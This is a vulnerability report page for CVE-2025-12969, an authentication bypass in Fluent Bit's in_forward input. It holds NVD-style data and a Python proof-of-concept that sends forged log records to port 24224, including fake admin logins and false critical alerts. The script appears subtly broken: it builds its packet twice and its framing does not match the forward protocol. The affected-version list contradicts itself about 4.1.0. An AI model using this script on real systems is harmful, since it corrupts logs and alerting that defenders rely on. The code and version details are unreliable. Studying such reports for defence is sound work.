Security Vulnerability Report
中文
CVE-2025-12969 CVSS 6.5 MEDIUM

CVE-2025-12969

Published: 2025-11-24 15:15:46
Last Modified: 2025-11-28 18:15:46

Description

Fluent Bit in_forward input plugin does not properly enforce the security.users authentication mechanism under certain configuration conditions. This allows remote attackers with network access to the Fluent Bit instance exposing the forward input to send unauthenticated data. By bypassing authentication controls, attackers can inject forged log records, flood alerting systems, or manipulate routing decisions, compromising the authenticity and integrity of ingested logs.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:treasuredata:fluent_bit:4.1.0:*:*:*:*:*:*:* - VULNERABLE
Fluent Bit < 4.0.x (vulnerable)
Fluent Bit 4.0.x < 4.0.5 (vulnerable)
Fluent Bit 4.1.x < 4.1.0 (fixed)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12969 PoC - Fluent Bit in_forward Authentication Bypass Note: This PoC is for educational and authorized security testing purposes only. """ import socket import struct import msgpack def send_forward_packet(host, port, tag, message): """ Send a Fluent Forward protocol packet to bypass authentication. This exploits the authentication bypass in in_forward plugin. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) # Fluent Forward Protocol message format # MessagePack packed message message_obj = { 'message': message, 'source': 'attacker', 'fake_field': 'injected_data' } packed_msg = msgpack.packb(message_obj) # Construct forward protocol packet # Chunked mode: [option][chunked payload] # For authentication bypass, we send raw message without auth packet = struct.pack('!BI', 0x46, len(packed_msg)) # 'F' + length packet += packed_msg # Send tag first tag_data = msgpack.packb(tag) packet = tag_data + struct.pack('!I', 0) + struct.pack('!I', 0) + packed_msg sock.sendall(packet) sock.close() print(f"[+] Packet sent to {host}:{port} with tag '{tag}'") return True except Exception as e: print(f"[-] Error: {e}") return False def main(): target_host = "target-fluentbit-server" target_port = 24224 # Default in_forward port # Inject fake log entries fake_logs = [ ("auth.log", "Fake authentication success for user admin"), ("syslog", "System critical error - false positive alert"), ("security", "Compromised: attacker-controlled log entry") ] for tag, message in fake_logs: send_forward_packet(target_host, target_port, tag, message) if __name__ == "__main__": print("CVE-2025-12969 PoC - Fluent Bit in_forward Auth Bypass") print("Target: Fluent Bit with vulnerable in_forward configuration") main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12969", "sourceIdentifier": "[email protected]", "published": "2025-11-24T15:15:46.380", "lastModified": "2025-11-28T18:15:46.050", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fluent Bit in_forward input plugin does not properly enforce the security.users authentication mechanism under certain configuration conditions. This allows remote attackers with network access to the Fluent Bit instance exposing the forward input to send unauthenticated data. By bypassing authentication controls, attackers can inject forged log records, flood alerting systems, or manipulate routing decisions, compromising the authenticity and integrity of ingested logs."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:treasuredata:fluent_bit:4.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "4D0EA105-B741-4E44-828A-9300B09A7A79"}]}]}], "references": [{"url": "https://fluentbit.io/blog/2025/10/28/security-vulnerabilities-addressed-in-fluent-bit-v4.1-and-backported-to-v4.0/", "source": "[email protected]"}, {"url": "https://www.oligo.security/blog/critical-vulnerabilities-in-fluent-bit-expose-cloud-environments-to-remote-takeover", "source": "[email protected]"}]}}